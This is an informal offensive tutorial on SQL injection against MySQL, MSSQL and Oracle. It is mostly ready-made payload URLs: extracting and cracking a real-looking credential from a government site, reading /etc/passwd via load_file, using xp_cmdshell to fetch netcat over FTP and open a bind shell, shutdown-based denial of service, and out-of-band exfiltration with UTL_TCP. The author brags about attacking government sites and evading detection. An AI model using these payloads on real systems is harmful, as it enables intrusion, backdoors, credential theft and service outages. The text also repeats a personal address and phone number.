Advanced SQL Injection

By Joseph Giron

Joseph Giron 8135 north 35th ave Phoenix, AZ 85301 T(602-738-8246) joseph.giron13@gmail.com

What I assume

For starters, I'm assuming you know the bare basics of SQL. You know what ' or 'a'='a does to a login or statement, and you know what a stored procedure is.

What I hope you learn

I hope you learn how to SQL injection like a pro. Its so easy you'll be slapping your self in the face when I'm done.

And now…

And now without further ado, here is my paper. Enjoy.

Joseph Giron 8135 north 35th ave Phoenix, AZ 85301 T(602-738-8246) joseph.giron13@gmail.com

Section 1: Table & Column enumeration.

Ahhh table enumeration. It can be a pain in the ass or a walk in the park. What would we need to enumerate tables for? Blind SQL injection.

Whenever I do table enumeration and blind SQL injection, I always start with order by. The order by clause is universal in DB's for determining the number of columns, Its child's play when you have it down.

Let's start with an example.

http://example.gov/wards.asp?ward=1&office='D'

I try not to post government websites, but I've never been caught. The feds care more about Alqeda and Peta than me. Any who:

We know this query is vulnerable because when we add a quote to our URL it errors out.

http://example.gov/wards.asp?ward=1'&office='D'
Microsoft OLE DB Provider for SQL Server error '80040e14'

Line 1: Incorrect syntax near ' AND office = '.

/wards.asp, line 31

Now for some order by. Let me how order by works. Order by 1 will always be a true statement. Order by will return the out of range if we choose a number too high, the error will say so. I like to start with a high number, then half it. Like a quick sort search.

http://example.gov/wards.asp?ward=1%20order%20by%2020--&office='D'
Returns

Microsoft OLE DB Provider for SQL Server error '80040e14'

The ORDER BY position number 20 is out of range of the number of items in the select list.

/wards.asp, line 31

Let's try 10:
http://example.gov/wards.asp?ward=1%20order%20by%2010--&office='D'
This statement like order by 1 returns true. We now know there is less than 20 columns, but more or equal to 10 columns.

Now let's try 15
http://example.gov/wards.asp?ward=1%20order%20by%2015--&office='D'

Also returns true. Less than 20, more than or equal to 15 columns. When I'm this close to determining the number of columns, I stop halfing the values and start incrementing 1 by 1.

http://example.gov/wards.asp?ward=1%20order%20by%2016--&office='D'
This gives us:
Microsoft OLE DB Provider for SQL Server error '80040e14'

The ORDER BY position number 16 is out of range of the number of items in the select list.

/wards.asp, line 31

Telling us 15 is our lucky number. 15 columns. We can now start our blind SQL injection. We fill up our query string with numbers or nulls depending on what data is being selected in our originating query. We use numbers if numbers are selected, and nulls if text is selected. How do we know? It will typically tell us in the error:

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the varchar value 'B' to a column of data type int.

/wards.asp, line 31

Sometimes this can be alleviated by making the original value we are selecting and making it null, but sometimes it doesn't work.

http://example.gov/wards.asp?ward=null%20UNION%20ALL%20SELECT%20null,null,null,null,5,null,7,null,null,null,null,null,null,null,null--&office='D'

If this section confused you, email me, I'd be glad to show you working examples how to do this.

Table enumeration comes down to one thing - guessing. When the error message doesn't show squat, and you don't have source code to view, you have to guess. Knowing the number of columns always help when we do our table enumeration, but we don't exactly have to guess.

Here are some common table names to select from:

users,userID,admin,logins,passwords,emails,tables,accounts,hashes,ids,administrator,help,backup,back_up,test,mysql and so on.

And then are version specific tables:
mysql: information_schema.tables,information_schema.columns (click here http://dev.mysql.com/doc/refman/5.0/en/information-schema.html for more on information_schema)
Oracle: ALL_USERS,ALL_TABLES,DBA_USERS (DBA_USERS table contains the hashes, not plain text passwords)
MSSQL: sysusers,syslogins,sysfiles,sysmembers,syspermissions

And many more. Look up the MSSQL system table map on MSDN for more.

With a little luck, you'll determine the table name no problem. If not, your out of luck. It happens to me sometimes. It helps if you ask others for advice for table names. I find I am a terrible guesser.

In the example, the table in question just so happened to be users =D

http://example.gov/wards.asp?ward=null%20UNION%20ALL%20SELECT%20null,null,null,null,5,null,7,null,null,null,'null',null,null,null,null%20FROM%20users--&office='D'

Now that we have a table name lets get to work on some blind SQL injection.

Section 2: Blind SQL injection

Some people I know claim blind SQL injection is hard, takes too long and doesn't yield that much. LIES! It's harder to spot blind SQLI errors in code, and is thus more prevalent than your standard ' or 1=1-- login injection. Blind SQLI will remain in web apps of the future, like heap overflows and pointer subterfuge have managed to stay in software security.

Back to our previous example:

http://example.gov/wards.asp?ward=null%20UNION%20ALL%20SELECT%20null,null,null,null,5,null,7,null,null,null,'null',null,null,null,null%20FROM%20users--&office='D'

We know what the table name is, we know how many columns there are, but we dont know the names of the columns. Back to good old guess work.

If we guess wrong it will tell us in the error. Example:

http://example.gov/wards.asp?ward=null%20UNION%20ALL%20SELECT%20null,null,OMGNOTRIGHT,null,5,null,7,null,null,null,'null',null,null,null,null%20FROM%20users--&office='D'
Returns:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Invalid column name 'OMGNOTRIGHT'.

/wards.asp, line 31

With a little common sense, this will be cake. In the next example, i chose the column name user. Low and behold, listed after the fax number is the username liveeditdbr

http://example.gov/wards.asp?ward=null%20UNION%20ALL%20SELECT%20null,null,user,null,5,null,7,null,null,null,user,null,null,null,null%20FROM%20users--&office='D'

Great a username. Now what? Lets see if we can logically guess the next column name. In the next example, I chose password.

http://example.gov/wards.asp?ward=null%20UNION%20ALL%20SELECT%20null,null,user,null,5,null,7,null,null,null,password,null,null,null,null%20FROM%20users--&office='D'

Nice. Right after the fax number is our password sy5GOK8n6AmCA. But now what the hell is this? Looks like a hash. 13 characters, so its not MD5. I happen to know its standard DES and john the ripper will crack it no problem.

I ran the hash against john the ripper and it INSTANTLY came back with word 'system'. Now we have a username and a password:

Username: liveeditdbr
Password: system

Its only as hard as you make it. Email me for more real world examples.

Joseph Giron 8135 north 35th ave Phoenix, AZ 85301 T(602-738-8246) joseph.giron13@gmail.com

Section 3: Version detection.

Before we start any type of SQL injection, it would help for us to know what kind of system we are attacking. It helps.

Typically, one can guess the type of SQL system in place by generating an error message. The error message will tell you what type of SQL is in place. If errors are turned off, we have to use our wits. We can make general assumptions on the types of SQL systems in place by observations. Example: ASP pages typically utilize an MSSQL data adapter (connector used for making SQL connections) or MS access. Bigger websites will tend to utilize MSSQL or Oracle. By bigger I mean corporations.

A typical mssql error will display something like mysql_num_rows() and it is a dead give away. An MSSQL error will day something to the effect of an ODBC error. Oracle too.

Why do we need to know the version? To pull off our hacks. Each one has a different comment style. Why do we need comments? To end our injections. Here is a list of different comments for different systems:

Mysql: '/*' - a C style comment End your injections with this.

MSSQL: '--', or '#' - 2 dashes or the pound sign.

Oracle: '--', or '/*' - copied from MySQL and MSSQL.

Firebird: '/*' - Firebird is based on Mysql so it works the same.

DB2: '--' - also uses 2 dashes.

Postgre: '--' and '/*' - Uses both double dashes and C style comments.

The likelihood of encountering a DB2 database for SQL injection are slim, but if you do encounter it, treat it like MSSQL, minus stored procedures. For more (not much) on DB2, check out http://pentestmonkey.net/blog/db2-sql-injection-cheat-sheet/

Version detection is vital to SQL injection. Hacking is half information gathering. Now let's move on.

Section 4: Advanced MYSQL injection.

Now for the good stuff. If you are attacking a Mysql system, its worth a shot to try and select from the information_schema tables. This depends upon permissions and versions, but it does work.

Example:
http://www.example.com/news/index.php?newsID=null UNION ALL SELECT 1,2,3,4,5,6 FROM information_schema.tables/*

Information_schema has a few different tables to select from:

TABLES, COLUMNS, USER_PRIVILEGES, SCHEMA_PRIVILEGES, TABLE_PRIVILEGES, COLUMN_PRIVILEGES, and PROFILING to name a few.

Refer to http://dev.mysql.com/doc/refman/5.0/en/information-schema.html for the rest. In particularly, we are interested in the TABLES table. Try the following if it will let you:

http://www.example.com/news/index.php?newsID=null UNION ALL SELECT table_name,column_name,3,4,5,6 FROM information_schema.tables/*

This will return to us table names and column names, making our lives easy.

Another advanced type of mysql injection is one of my favorites. Load_file can be used in place of a column name in blind sql injection and can be used to load the file we want and display it in place of the where the column would be. Sound good? Well its harder to pull off than it looks.

We need 2 conditions to be true. First of which is we need to have the permission to view the file we are selecting. We can always view /tmp as this is viewable by everyone by default. Secondly, we need a path disclosure or error that displays the full path to the file.

Here is an example:
http://www.wikihow.com/Special:LSearch?fulltext=Search&search[]=lol

Warning: htmlspecialchars() expects parameter 1 to be string, array given in /var/www/html/wiki19/skins/WikiHowSkin.php on line 1302

Now assuming we are attacking this site, we have our path. We can now use load_file effectively to view source code.

How does a load_file look in our attack? I was getting to that.

http://www.example.com/news/index.php?newsID=null UNION ALL SELECT 1,2,3,load_file('/var/www/html/wiki19/skins/WikiHowSkin.php'),5 FROM sometable/*.

Note, a table isnt required for our injection to work, we could just comment off after our fifth. If the attack worked, in place of the fourth column would be the source code wikihowskin.php. If you run into problems, see my misc section.

Now for the other white meat of MySQL. INTO OUTFILE. This kick ass function allows us to take the contents of our select statement and write it to file. Once again, this function requires 2 conditions to be true. We need a full path disclosure or path to the server, and we need write permissions on the folder we're writing to.

Now for an example:
http://wwww.lol.com/index.php?id=1 UNION ALL SELECT username,password,userid FROM users INTO OUTFILE '/home/phpsite/www/index/lol.txt'/*

Its a cool function, but there are a few things we cant do with it. We can't replace files if they already exist (no /etc/passwd) . Use it, you'll like it.

Joseph Giron 8135 north 35th ave Phoenix, AZ 85301 T(602-738-8246) joseph.giron13@gmail.com

Section 5: Advanced MSSQL injection.

This popular piece of software works like MYSQL, but has extended functionality. Blind SQL injection and table enumeration works the same for MSSQL essentially as MYSQL, but we can take things a step further. How you might say? Extended stored procedures. There are MANY extended stored procedures out there that do many different things, but we will focus on the good one.

The first is cmdshell. Like it says in its name, its a command shell. It will allow us to execute commands on the SQL server provided we have permission. Nice eh?
Take the following example:

http://www.example.com/index.asp?articleid=23
Standard asp. We can assume a database in place with either an MS access or MSSQL fronted. Assuming for this example its mssql, inserting an extended stored procedure is easy.
http://www.example.com/index.php?articleid=23; exec master..xp_xmdshell "iisreset"--

The syntax is easy to understand. 'Exec' to initiate a stored procedure, then the procedure to be called, ..xp_cmdshell, then the command in quotes. If your query doesn't like quotes, consider the char() function discussed in section 7. If the command succeeded, then we would see the message "Service Unavailable" indicating IIS is restarting. There is so much we can do. One of my favorite attacks using this vector seeing as though we can only do one command at a time is to construct an FTP script to place a backdoor and execute it. Sound cool? It is. Here is how it can be done.

This is what an FTP script looks like in windows.

```
==================================
=       open ftp.domain.com      =
=       username                 =
=       password                 =
=       cd public_html           =
=       get netcat.exe           =
=       bye                      =
==================================
```

The script is self explanatory. Now let's build our queries.

http://www.example.com/index.asp?articleid=23; exec master..xp_cmdshell "echo open ftp.domain.com >> ourscript.txt"--
http://www.example.com/index.asp?articleid=23; exec master..xp_cmdshell "echo username >> ourscript.txt"--
http://www.example.com/index.asp?articleid=23; exec master..xp_cmdshell "echo password >> ourscript.txt"--
http://www.example.com/index.asp?articleid=23; exec master..xp_cmdshell "echo cd public_html >> ourscript.txt"--

http://www.example.com/index.asp?articleid=23; exec master..xp_cmdshell "echo get netcat.exe >> ourscript.txt"--
http://www.example.com/index.asp?articleid=23; exec master..xp_cmdshell "echo bye >> ourscript.txt"--
Recall, that in DOS, we use the double caret '>>' to append a line of text to a file.
Now to execute our ftp script:
http://www.example.com/index.asp?articleid=23; exec master..xp_cmdshell "ftp ourscript.txt"--
And execute our backdoor:
http://www.example.com/index.asp?articleid=23; exec master..xp_cmdshell "netcat -vv -l -p 23 -t -e cmd.exe"--

If it worked, it should allow us to telnet in to our command shell. If not, we can always have fun with the file system.

The xp_cmdshell procedure is fun, but there are others at our disposal. I found several good ones here http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm
Lastly, I'd like to cover xp_loginconfig. This stored procedure returns login configuration information. Specifically, the login name and mode. Very useful. I recall there was a stored procedure for creating logins, but not the name. Maybe some google'ing would help. Email me if you find it.

Another thing we could try other than stored procedures is noisy at best. Shutdown. Rather than drop databases, we can deny other users access to the database. A form of SQL injection DOS. The syntax is easy to remember. No arguments, just terminate the query or make it evaluate to true, and comment out the rest of the query.

http://www.example.com/index.asp?articleid=23;shutdown--
or
http://www.example.com/index.asp?articleid=23;shutdown#
or
http://www.example.com/index.asp?articleid=23 or 1=1 shutdown#
or
http://www.example.com/index.asp?articleid=23 or 1=1 shutdown--
or
http://www.example.com/index.asp?articleid=23' shutdown—

Along with a dozen other variants, though the outcome is the same. MSSQL will remain shutdown until the admin turns it back or, or until a startup script kicks in.

Sounds good so far huh? Well lets step it up a notch. To make our MSSQL injections more interesting, we can actually select from neighboring databases on different servers within the private network. How? Openrowset. What the hell is OPENROWSET? Its a MSSQL function that lets us make external (and internal) connections to other data sources. Like most other things in MSSQL, we have conditions that must be met to make this function work right. First off, if we are attacking the an internal neighboring

database, we need to have a valid username and password. With some luck, we might not even need one. I've encountered many MSSQL DB's where which the account SA has no password, so its worth a shot. The second condition we need met is the IP address and port of the neighboring DB we are trying to connect to. We might be able to brute force this with a domain scanner, a Trojan within the network, and common logical port numbers.

Now lets see what this attack looks like in actions. Queue the examples:

http://www.example.com/index.asp?newsID=2 UNION ALL SELECT user,pass,OPENROWSET('sqloledb','192.168.1.1','username','password','SELECT lol FROM othertable_thats_remote') FROM users_table--

Self explanatory. DB name, IP or remote address (can even be a UNC path), username, password, and query. I love this attack before it lets us get to internal databases, bypassing restricting such as firewalls, and IDS's. Its like a tunnel.

Why stop at selecting? We can even INSERT data from remote databases into our injected databases. The syntax is nearly the same as select.

Are we limited to OPENROWSET? Kind of. We can do OpenDataSource as well. The syntax is similar to OPENROWSET, but we can't do a query string within the OpenDataSource function. If I'm not mistaken there’s a lil buffer overflow in OpenDataSource under win2k. Its worth an investigation if they're running 2k and IIS 5.

Section 6: Advanced Oracle injection

Oracle rocks. It may be expensive, but it has what other DB's lack. Oracle SQL injection differs slightly from normal SQL injection in that you have to select from some table. We use what's called DUAL to select our data in our injections. We can make multiple queries in our injection with double pipes (||).

An example query for grabbing the running user would look like:

http://www.example.com/bigsite/lol.asp?id=1 SELECT username FROM all_users ORDER BY username || SELECT user FROM DUAL--

The syntax is hard to get used to, but it comes in time. Select from Dual if we have no table to select from. Like all other DB's we put out functions we want to use in the columns section. Recall that chr() is our way of bypassing quote restricting by passing the ASCII value. With this being said, the statement SELECT chr(65) FROM DUAL-- would return the letter A. Once again, if you aren't sure about any of this, email me.

I read a Litchfield paper a couple years ago. UTL_HTTP.REQUEST. The format of this command is :

http://www.example.com/blogs?blogid=1
SELECT UTL_HTTP.REQUEST('http://www.example.com') FROM DUAL--

All this will do is grab the first 2 thousand characters of the web page and return it to us. Sounds kind of lame.

How and why would we use UTL_HTTP.REQUEST? We can combine the request with another SQL statement and have the result end up in the server we are requesting form's logs. So in order to make good use of this, it would help to own a web server. We can only do one row at a time, but its still a cool vector. Why would we use this? Its useful to when error messages are turned off. We can check our web server logs to see the precious and oh so helpful error messages. This attack isn't limited to HTTP either. We can specify different ports in our request. HTTPS, FTP etc.

One step further in this form of "Out of Band" injection is the use of the function UTL_TCP. We can create a raw connection to any reachable host we want. Heres what it looks like:

SELECT utl_tcp.open_connection("192.168.1.1",666) FROM DUAL || SELECT utl_tcp.write_line(c,"our data here") FROM DUAL--

If we were write a basic server app or even have netcat listening on port 666, we could have our data sent that way. This technique is difficult to construct, but I just thought I'd bring it up for the curious types out there.

These techniques are useful for stealth. Chances are if your attacking an oracle system, your target has an admin. He’s going to check the logs and he’s going to find you. Actually, I've never been caught. My ISP turned off my internet once when I had some friends over and my friend didn't use a proxy when he hacked some Jewish reality website. I played dumb and they turned it on so technically I've never been caught.

There are a number of other useful oracle specific things to keep in mind. The DBA_USERS table contains the username, userid, and password(encrypted) columns that really help out in attack, but the draw back is it we might not have read access to this table. We can however read the USER_USERS table. It doesn't contain an encrypted pass, but it does give us user information of currently active users (which is better than nothing).

Syntax:

SELECT USERNAME,USER_ID,EXTERAL_NAME,ACCOUNT_STATUS FROM USER_USERS--

For a list of useful tables to grab from check out this list:

http://pentestmonkey.net/blog/oracle-sql-injection-cheat-sheet/

There is much more to be added to this section and I will add more to it in the future.

Section 7: Misc.

This section is just a place for things I couldn't place. Stuff that doesn’t fit anywhere else but here. Tips etc.

If your SQL injection isn't working as planned or is timing out, an application firewall or filter might be in place. Try encoding your injections. Url encoding works and will still be interpreted by the server as valid data. Base64 works too.

If you can't place quotes in your injection but need them for an attack, consider using mysql / mssql's char() function.
The char function accepts the ASCII numerical equivalent of letters. Here are a few examples:

In Mysql:

lol would be written as CHAR(108, 111, 108)

In MSSQL:

lol would be written as CHAR(108) + CHAR(111) + CHAR(108)

In Oracle:

lol would be written as chr(108,111,108)

So, our injection for say...load_file would look something like this:

http://www.example.com/news/index.php?newsID=null UNION ALL SELECT 1,2,load_file(CHAR(39, 47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100, 39)),4 FROM sometable/*

It would be executed the same as:

http://www.example.com/news/index.php?newsID=null UNION ALL SELECT 1,2,load_file('/etc/passwd'),4 FROM sometable/*

In MSSQL, you can use the semi colon ';' character to attempt to terminate a query string. Sometimes it works, sometimes it doesn't. It might be easier to make sure the preceding evaluation is true with a 1=1, or something like that, but it does work and comes in handy for inserting extended stored procedures into your MSSQL injections.

I didn't discuss MS access, so I'll discuss a lil here. You comment your MS access injections with a null byte. You CAN execute commands with the SHELL function, and even get the current working directory with the CurDir() function. The CurDir() and SHELL() functions can be used in place of column names in your union select injections

just like load_file and extended stored procedures of other DB systems, but It is doubtful you'll be able to pull them off. These functions are disabled by default.

Joseph Giron 8135 north 35th ave Phoenix, AZ 85301 T(602-738-8246) joseph.giron13@gmail.com

Section 8: Sources

http://dev.mysql.com/

http://www.msdn2.microsoft.com/

http://www.computerhope.org/software/ftp.htm

http://techonthenet.com/oracle/sys_tables/index.php

http://www.webapptest.org/ms-access-sql-injection-cheat-sheet-EN.html

http://pentestmonkey.net/blog/db2-sql-injection-cheat-sheet/

http://www.databasesecurity.com/webapps/sqlinference.pdf

http://www.gnucitizen.org (where I borrowed the image from)

I hope you enjoyed my little paper on advanced sql injection. Should you ever need examples, hints, help, or just need someone too take a peek at some code, email me: joseph.giron13@gmail.com

This article is far from done and will be updated more in the future.

Joseph Giron 8135 north 35th ave Phoenix, AZ 85301 T(602-738-8246) joseph.giron13@gmail.com